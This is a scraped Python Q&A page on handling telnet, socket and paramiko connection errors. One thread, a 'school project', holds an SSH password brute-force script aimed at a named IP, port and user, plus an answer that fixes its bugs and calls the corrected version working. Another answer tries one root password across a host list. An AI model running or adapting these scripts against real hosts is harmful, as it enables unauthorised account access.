How to let Python code continue after telnet (telnetlib) timeout - python

I am using Python for Automated telnet program using telnetlib. The problem is: when the device that I am trying to telnet to doesn't responsd, means timeout; the program gives me timeout message and doesn't continue to next commands.
My Code:
import telnetlib
HOST = ("x.x.x.x")
USER = ("xxxxx")
PWD = ("yyyyy")
ENABLE = ("zzzzz")
TNT = telnetlib.Telnet(HOST, 23, 5)
TNT.read_until(b"Username:")
TNT.write(USER.encode('ascii') + b"\n")
TNT.read_until(b"Password:")
TNT.write(PWD.encode('ascii') + b"\n")
TNT.write(b"enable\n")
TNT.read_until(b"Password:")
TNT.write(ENABLE.encode('ascii') + b"\n")
TNT.write(b"terminal length 0\n")
TNT.write(b"show run\n")
TNT.write(b"exit\n")
print (TNT.read_all().decode('ascii'))
TNT.close()
raw_input ("Press any Key to Quit: ")
Error Message:
Traceback (most recent call last):
File "D:\Python\Telnet (Python 2.7) V1.5.py", line 8, in <module>
TNT = telnetlib.Telnet(HOST, 23, 5)
File "C:\Python27\lib\telnetlib.py", line 209, in __init__
self.open(host, port, timeout)
File "C:\Python27\lib\telnetlib.py", line 225, in open
self.sock = socket.create_connection((host, port), timeout)
File "C:\Python27\lib\socket.py", line 571, in create_connection
raise err
timeout: timed out
>>>
How can let the program to just notify me that this device isn't reachable and let it continue with the next commands ??

Wrap the operations in a try block, and handle the exception in a catch block.

The exception you're looking for is socket.timeout. so:
import socket
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except socket.timeout:
sulk()
Which I discovered in this way:
>>> try:
... t = telnetlib.Telnet("google.com", 23, 5)
... except:
... import sys
... exc_info = sys.exc_info()
>>> exc_info
(<class 'socket.timeout'>, timeout('timed out',), <traceback object at 0xb768bf7c>)
It might be that timeout is too specific. You might instead prefer to catch any IOError
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except IOError:
sulk()

Python terminates your program whenever as exception arrives. For handling exception you need to wrap it in try, catch statements.
Put your telnet statement in try statement and catch exception using except as shown below:
import telnetlib
HOST = ("x.x.x.x")
USER = ("xxxxx")
PWD = ("yyyyy")
ENABLE = ("zzzzz")
try:
TNT = telnetlib.Telnet(HOST, 23, 5)
except:
print "<your custom message>"
pass
TNT.read_until(b"Username:")
TNT.write(USER.encode('ascii') + b"\n")
TNT.read_until(b"Password:")
TNT.write(PWD.encode('ascii') + b"\n")
TNT.write(b"enable\n")
TNT.read_until(b"Password:")
TNT.write(ENABLE.encode('ascii') + b"\n")
TNT.write(b"terminal length 0\n")
TNT.write(b"show run\n")
TNT.write(b"exit\n")
print (TNT.read_all().decode('ascii'))
TNT.close()
raw_input ("Press any Key to Quit: ")

Related

Python SSH Brute Force

Im writing a SSH Brute Force program for a school project, however i am stuck on the part where i have to make the password function. This is what my code looks like so far.
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
The problem i have is that it understands that it should loop it, but all the output i get is:
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
>>> 'str' object is not callable
Is there a way to fix this problem?
When i stop the program from running it gives me this Traceback:
Traceback (most recent call last):
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 52, in <module>
response = ssh_connect(password)
File "/Users/eliasdavidsen/PycharmProjects/Mandatory3/test.py", line 30, in ssh_connect
ssh.connect(hostname = hostname, port = port, password= password, username= username)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 394, in connect
look_for_keys, gss_auth, gss_kex, gss_deleg_creds, gss_host)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/client.py", line 636, in _auth
self._transport.auth_password(username, password)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/transport.py", line 1329, in auth_password
return self.auth_handler.wait_for_response(my_event)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/site-packages/paramiko/auth_handler.py", line 198, in wait_for_response
event.wait(0.1)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 551, in wait
signaled = self._cond.wait(timeout)
File "/Library/Frameworks/Python.framework/Versions/3.6/lib/python3.6/threading.py", line 299, in wait
gotit = waiter.acquire(True, timeout)
KeyboardInterrupt
Process finished with exit code 1
The traceback you posted (the one you get when interrupting the process) is actually irrelevant. The one that would have been usefull to let you debug the problem by yourself is lost due to your useless and actually harmful exception handler in your script's main loop, which you should either remove totally or at least rewrite to only catch expected exceptions - and then only wrap the ssh_connect() call, not the following code. IOW, you want to replace this:
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
except Exception as e:
print(e)
With
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
except (your, list, of, expected, exceptions, here) as :
do_something_to_correctly_handle_this_exception_here(e)
if response == 0:
print("Password Found: "(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: " (username, password))
elif response == 2:
print("Connection Failed: " (hostname))
sys.exit(2)
wrt/ your current problem, it's in the print calls above: you have:
print("some message" (variable, eventually_another_variable))
which is interpreted as:
msg = "some message" (variable, eventually_another_variable)
print(msg)
where the first line is interpreted as a function call applied to the "some message" string, hence the exception. What you want is string formatting, ie:
print("Password Incorrect: {} {}".format(username, password))
There are also quite a few things that are a bit wrong with your code, like opening files without closing them properly, mixing functions and top-level code instead of putting all operational code in functions on only have one single main function call at the top-level, writing passwords to a file and re-reading that file when you don't need it (technically at least), etc...
It's working. Try this:
import itertools, paramiko, sys, os, socket
line = "\n-------------------------------------\n"
hostname= '138.68.108.222'
username = 'billy'
port = 50684
password = 'bingo'
input_file = open("example.txt", 'a')
chrs = 'abcdefghijklmnopkrstuvxy1234567890'
n = 3
for xs in itertools.product(chrs, repeat=n):
password = '-its?' + ''.join(xs)
input_file.write(password + "\n")
def ssh_connect(password, code = 0):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)
try:
ssh.connect(hostname = hostname, port = port, password= password, username= username)
except paramiko.AuthenticationException:
code = 1
except socket.error as e:
code =2
ssh.close()
return code
input_file = open("example.txt")
print("")
for i in input_file.readlines():
password = i.strip("\n")
try:
response = ssh_connect(password)
if response == 0:
print("Password Found: {}, {}, {}, {}".format(line, username,password, line))
sys.exit(0)
elif response == 1:
print("Password Incorrect: {}, {}".format(username, password))
elif response == 2:
print("Connection Failed: {}".format(hostname))
sys.exit(2)
except Exception as e:
print(e)
pass
open("example.txt", 'w').close()
input_file.close()
In line 56, 60, 63 you ain't calling the variable properly. You forgot % though you can also use .format() as I have used in the code above

Connection reset by peer [errno 104] in Python 2.7

I've seen and read a lot about this particular issue on the internet.
I am writing a simple chat server and client using socket in python for learning purpose mainly.
I've observed an issue here.
Here is my server code :
__author__ = 'pchakraverti'
import socket
import select
import sys
class NickSocketMap(object):
count = 0
def __init__(self, nick, client_socket):
self.nick = nick
self.client_socket = client_socket
NickSocketMap.count += 1
#staticmethod
def display_count():
print "Total number of clients is %d" % NickSocketMap.count
host = ""
port = 7575
socket_list = []
nick_list = []
cnt = 0
recv_buffer = 1024
def register_nick(nick, client_socket):
obj = NickSocketMap(nick, client_socket)
nick_list.append(obj)
def process_request(request_string, client_socket):
parts = request_string.split("|")
if parts[0] == "set_nick":
register_nick(parts[1], client_socket)
client_socket.send("nick_set")
elif parts[0] == "transmit_msg":
broadcast_message(parts[1], parts[2])
return 1
def broadcast_message(message, client_nick):
for s in nick_list:
if s.nick == client_nick:
try:
s.client_socket.send(message)
except socket.errno, ex:
print ex
break
def run_server():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.bind((host, port))
except socket.errno, ex:
print ex
sys.exit(-1)
sock.listen(10)
# add the parent socket in the list
socket_list.append(sock)
# keep the server alive
while True:
try:
read_ready, write_ready, in_error = select.select(socket_list, [], [], 0)
except select.error, ex:
print ex
continue
for s in read_ready:
# check if s is the parent socket
if s == sock:
# accept new connection and append to list
try:
con, addr = s.accept()
if con not in socket_list:
socket_list.append(con)
except socket.errno, ex:
print ex
else:
try:
# receive packet from connected client
packet = s.recv(recv_buffer)
if not packet:
socket_list.remove(s)
read_ready.remove(s)
for n in nick_list:
if n.client_socket == s:
nick_list.remove(n)
break
break
print packet
except socket.errno, ex:
print ex
continue
process_request(packet, s)
sock.close()
if __name__ == "__main__":
run_server()
and here is my client code:
__author__ = 'pchakraverti'
import socket
nick = ""
host = "192.168.0.167"
port = 7575
sock = ""
def welcome():
print "Welecome to SecuChat!"
print "---------------------"
def init():
nick = raw_input("Enter your chat nickname : ")
print nick
global sock
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((host, port))
except socket.errno, ex:
print ex
sock.send("set_nick|"+nick)
#sock.close()
if __name__ == "__main__":
welcome()
init()
In the client code, when I don't do the sock.close(), the server runs into an exception :
Traceback (most recent call last):
File "server.py", line 102, in <module>
run_server()
File "server.py", line 84, in run_server
packet = s.recv(recv_buffer)
socket.error: [Errno 104] Connection reset by peer
how ever, when I add that line, the problem doesn't occur.
Now I've two questions :
i) I've handled exceptions in the server.py, why is this exception not being handled and why is it crashing the code ? How can I make the server more robust and what am I missing ?
ii) What is the logic behind this crash and exception in relation to the sock.close() line in the client ?
i) Your try-except block doesn't catch any exceptions.
The first argument to except must be the type of the exception you want to catch. socket.errno is not an exception class but a module. You need to catch socket.error:
except socket.error, ex:
print ex
It "crashes" your code because any exception that isn't handled somewhere in the call stack propagates outwards until it hits an except. If there is no handler the program is terminated.
ii) When the client terminates without closing the connection, a RST packet is sent by the TCP/IP stack of your OS. This is roughly the equivalent of hanging up a phone without saying goodbye. Python converts this into an exception with the text "Connection reset by peer". It simply means that since you called read() Python assumed you expect to receive something and when the connection suddenly disconnected, Python informs you of this by raising the exception.

Unable to ssh to remote server using paramiko module

I am trying to ssh to a remote server using python paramiko module. I need to include the key file dynamically. My code is given below.
import getpass
import paramiko
server = raw_input("What is the server name? ")
username = raw_input("Enter the username: ")
passphrase = getpass.getpass(prompt="Enter your passphrase: ")
key = '/home/%s/.ssh/id_rsa' % username
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(server, username=username, password=passphrase, key_filename=key)
stdin, stdout, stderr = ssh.exec_command('df -h')
print stdout.readlines()
ssh.close()
I am able to work with the code if I provide the key path directly instead of using the variable.
The error I am getting is:
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python2.7/dist-packages/paramiko/client.py", line 237, in connect
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(hostname, port, socket.AF_UNSPEC, socket.SOCK_STREAM):
socket.gaierror: [Errno -2] Name or service not known`enter code here`
seems like you have some dns error here, Pasting my script to get ssh status over here, that is dealing all the exceptions (at least I have noted so far)
#!/bin/python3
import threading, time, paramiko, socket, getpass
from queue import Queue
locke1 = threading.Lock()
q = Queue()
#Check the login
def check_hostname(host_name, pw_r):
with locke1:
print ("Checking hostname :"+str(host_name)+" with " + threading.current_thread().name)
file_output = open('output_file','a')
file_success = open('success_file','a')
file_failed = open('failed_file','a')
file_error = open('error_file','a')
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(host_name, username='root', password=pw_r, timeout=5)
#print ("Success")
file_success.write(str(host_name+"\n"))
file_success.close()
file_output.write("success: "+str(host_name+"\n"))
file_output.close()
# printing output if required from remote machine
#stdin,stdout,stderr = ssh.exec_command("hostname&&uptime")
#for line in stdout.readlines():
# print (line.strip())
except paramiko.SSHException:
# print ("error")
file_failed.write(str(host_name+"\n"))
file_failed.close()
file_output.write("failed: "+str(host_name+"\n"))
file_output.close()
#quit()
except paramiko.ssh_exception.NoValidConnectionsError:
#print ("might be windows------------")
file_output.write("failed: " + str(host_name + "\n"))
file_output.close()
file_failed.write(str(host_name+"\n"))
file_failed.close()
#quit()
except socket.gaierror:
#print ("wrong hostname/dns************")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
except socket.timeout:
#print ("No Ping %%%%%%%%%%%%")
file_output.write("error: "+str(host_name+"\n"))
file_output.close()
file_error.write(str(host_name + "\n"))
file_error.close()
ssh.close()
def performer1():
while True:
hostname_value = q.get()
check_hostname(hostname_value,pw_sent)
q.task_done()
if __name__ == '__main__':
print ("This script checks all the hostnames in the input_file with your standard password and write the outputs in below files: \n1.file_output\n2.file_success \n3.file_failed \n4.file_error \n")
f = open('output_file', 'w')
f.write("-------Output of all hosts-------\n")
f.close()
f = open('success_file', 'w')
f.write("-------Success hosts-------\n")
f.close()
f = open('failed_file', 'w')
f.write("-------Failed hosts-------\n")
f.close()
f = open('error_file', 'w')
f.write("-------Hosts with error-------\n")
f.close()
with open("input_file") as f:
hostname1 = f.read().splitlines()
#Read the standard password from the user
pw_sent=getpass.getpass("Enter the Password:")
start_time1 = time.time()
for i in hostname1:
q.put(i)
#print ("all the hostname : "+str(list(q.queue)))
for no_of_threads in range(10):
t = threading.Thread(target=performer1)
t.daemon=True
t.start()
q.join()
print ("Check output files for results")
print ("completed task in" + str(time.time()-start_time1) + "seconds")

Python Socket Connection Error/Exception Handling?

so I have the below loop that works great until it hits certain hosts that simply cause a connection error. Unfortunately, instead of skipping over these instances, it causes the script to crash. I know to catch and avoid this exception it is best to through the troubling statement (serveroutput = tn.read_until(b'STARTTLS')) in a try: except block. I can do that, however I am not sure how to catch the error and tell it to move on. If I add a break, it will break the loop and cause the script to stop prematurely anyway. How can I continue iterating through j? I've heard I can use 'continue' as a way to continue iteration, but am I even catching the right exception here?
My Code:
def getServers():
fp = open("mailserverdata.csv", "r")
pt = from_csv(fp)
fp.close()
domains = txt_domains.get(1.0, 'end').splitlines()
symbols = txt_symbols.get(1.0, 'end').splitlines()
for x in range(len(domains)):
#Start Get MX Record
answers = dns.resolver.query(str(domains[x]), 'MX')
#End Get MX Record
#Start Get Employees
if symbols[x]!='':
xml = urllib.request.urlopen('https://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20yahoo.finance.stocks%20where%20symbol%3D%22'+symbols[x]+'%22&diagnostics=true&env=store%3A%2F%2Fdatatables.org%2Falltableswithkeys')
dom = parse(xml)
numemployees = dom.getElementsByTagName('FullTimeEmployees')
if len(numemployees)!=0:
numemployees = numemployees[0].firstChild.nodeValue
else:
numemployees = 0
#End Get Employees
j=0
tlsbool = 'N'
verified = 'N'
for rdata in answers:
#Start Trim Domains
output = str(rdata.exchange)
output = output[:len(output)-1]
print(output)
#End Trim Domains
#Start Telnet
tn = telnetlib.Telnet(output,25)
tn.write(b'ehlo a.com\r\n')
serveroutput = tn.read_until(b'STARTTLS')
checkvar = "STARTTLS"
for checkvar in serveroutput:
tlsbool = 'Y'
break
#End Telnet
#Start verification
if output.find(domains[x])>-1:
verified = 'Y'
#End verification
if j==0:
pt.add_row([domains[x],output,tlsbool,numemployees,verified])
else:
pt.add_row(['',output,tlsbool,'',verified])
j = j + 1
txt_tableout.delete(1.0, 'end')
txt_tableout.insert('end',pt)
root.ptglobal = pt
Try Catch Code:
try:
serveroutput = tn.read_until(b'STARTTLS')
except SocketError as e:
if e.errno != errno.ECONNRESET:
raise # Not error we are looking for
pass # Handle error here.
Full Stack Error:
Traceback (most recent call last):
File "C:\Python34\lib\tkinter\__init__.py", line 1487, in __call__
return self.func(*args)
File "C:\Users\kylec\Desktop\Data Motion\Mail Server Finder\mailserverfinder.py", line 58, in getServers
serveroutput = tn.read_until(b'STARTTLS')
File "C:\Python34\lib\telnetlib.py", line 317, in read_until
self.fill_rawq()
File "C:\Python34\lib\telnetlib.py", line 526, in fill_rawq
buf = self.sock.recv(50)
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
UPDATE:
I tried the following code but I received the following error.
Code:
try:
serveroutput = tn.read_until(b'STARTTLS')
except tn.ConnectionsResetError:
continue
Error:
AttributeError: 'Telnet' object has no attribute 'ConnectionsResetError'
What ended up working for me in the end was a modification of what #user3570335 had suggested.
try:
serveroutput = tn.read_until(b'STARTTLS')
except Exception as e:
tlsbool = '?'

Telnetlib: 'NoneType' object has no attribute 'sendall' False

note before starting - This issue is different than:
'NoneType' object has no attribute 'sendall' PYTHON
IP addresses removed and replaced with x.x.x.x
It appears that my code is sending the desired command, but then errors out with the 'Nonetype' line as seen in my debug output below:
"line 83 in use
Attempting to find IP of vlan 10
line 85
Telnet(x.x.x.x
,23): send b'show interface vlan 10 \n'
'NoneType' object has no attribute 'sendall' False
script complete"
Wireshark is showing that the telnet connection is reset when sending that command. I'm not seeing anything in the Telnetlib documentation or anything on google that seems to be similar to the issue i'm having:
56054 6494.389198219 x.x.x.x x.x.x.x TCP 56 51110 → 23 [RST, ACK] Seq=86 Ack=3288 Win=63634 Len=0
Has anyone had a similar issue here? I was thinking maybe i'd have to try and keep the session alive by arbitrarily adding write/read commands, but that doesn't seem to work.
Thanks!
Code added below:
#!/usr/bin/env python3
from time import sleep
import telnetlib
from getpass import getpass
# f is the .txt document that lists the IP's we'll be using.
f = open("devicess.txt")
#
username = input("please provide your username:")
sleep(.25)
password = getpass()
#
for line in f:
device = (line)
print('Starting to collect information, please wait')
#For those devices in the above list, connect and run the below commands
def loopstart():
for device in f:
tn = telnetlib.Telnet()
tn.open(device, 23, 60)
#Remove # in the line below for debug
tn.set_debuglevel(2000)
tn.read_until(b"Username:", timeout = 20)
sleep(.25)
tn.write(str(username + "\n").encode("ascii"))
sleep(.25)
tn.read_until(b"Password: ", timeout = 10)
sleep(.25)
tn.write((password + "\n").encode("ascii"))
sleep(.25)
#####################################
#Verify Login attempt below #
#####################################
try:
enablemode = tn.read_until(b"#")
if (b"FAIL") in enablemode:
print("Bad credentials to " + device)
tn.close()
sleep(.25)
elif (b"fail") in enablemode:
print("Bad credentials to " + device)
tn.close()
sleep(.25)
elif (b"#") in enablemode:
print("connection established to " + device)
try:
tn.write(str("show mac address-table | include 000c.\n").encode('ascii'))
sleep(1)
MH2 = tn.read_very_eager()
if (b"000c.15") in MH2:
print("possible Cyper power device identified")
try:
mactable = open("mactable.txt", "w+")
mactable.seek(0)
mactable.write(MH2.decode('utf-8'))
mactable.truncate()
mactable.seek(0)
Output1 = mactable.readlines()
for line in Output1:
line = line.strip()
CPMAC = line
print(CPMAC)
try:
sleep(.10)
if ("000c.15") in CPMAC:
vlan = (CPMAC[0:4])
print("line 83 in use")
print(type(vlan))
print("Attempting to find IP of vlan " + vlan)
print("line 85")
tn.write(("show interface vlan " + vlan + "\n").encode("ascii"))
print("line 87")
tn.read_until(b"Internet Address")
tn.close()
elif (str("All")) and (str("CPU")) in (CPMAC):
print ("CPU has matching MAC, checking rest of the output for this device")
tn.close()
else:
print("Moving to next device")
tn.close()
except EOFError as e:
print("could not pull vlan from output")
except EOFError as e:
print("unidentified issue")
#Execute the following commands in case of invalid command input
elif (b"Invalid") in MH2:
sleep(.5)
try:
tn.write(str("show mac-address-table | in 000c.\n").encode('ascii'))
sleep(2)
MH3 = tn.read_very_eager()
if (b"000c.15") in MH3:
print("Line 90 in use")
try:
sleep(.5)
mactable = open("mactable.txt", "rb+")
mactable.seek(0)
mactable.write(MH3)
Output2 = (bytes(mactable.read()))
print (type(Output2))
mactable.truncate()
for line in Output2():
CPMAC = line.decode
try:
if ("000c.15") in CPMAC:
print("line 114")
print(CPMAC + " this is what vlan the cyber power device should be on")
tn.write("show interface vlan" + (CPMAC[:6])+ "\n")
tn.read_until(b"Internet Address")
tn.close()
elif (str("All")) in (CPMAC):
print ("CPU has matching MAC, moving to next device")
tn.close()
else:
print("No Cyber power device found on " + device)
tn.close()
except EOFError as e:
print("could not pull vlan from output")
except EOFError as e:
print("unidentified issue")
elif (b"000c.15") not in MH3:
print ("Cyber power device not found, moving to next device.")
tn.close()
else:
print("Unknown Error")
tn.close()
##############################
# Logout commands #
##############################
except EOFError as e:
print("Connection closed to " + device)
else:
tn.write(str("exit\n").encode('ascii'))
tn.write(str("exit\n").encode('ascii'))
tn.close()
print(tn.read_all().decode('ascii'))
except EOFError as e:
print ("unknown error")
else:
tn.close()
except EOFError as e:
print("Connection closed to " + device)
except Exception as exception:
print('line 165 error')
print(exception, False)
tn.close()
loopstart()
print('script complete')
Edit: I added a print statement to the "except exception as exception" which is showing the following when run. Invalid file object: False

Categories

Resources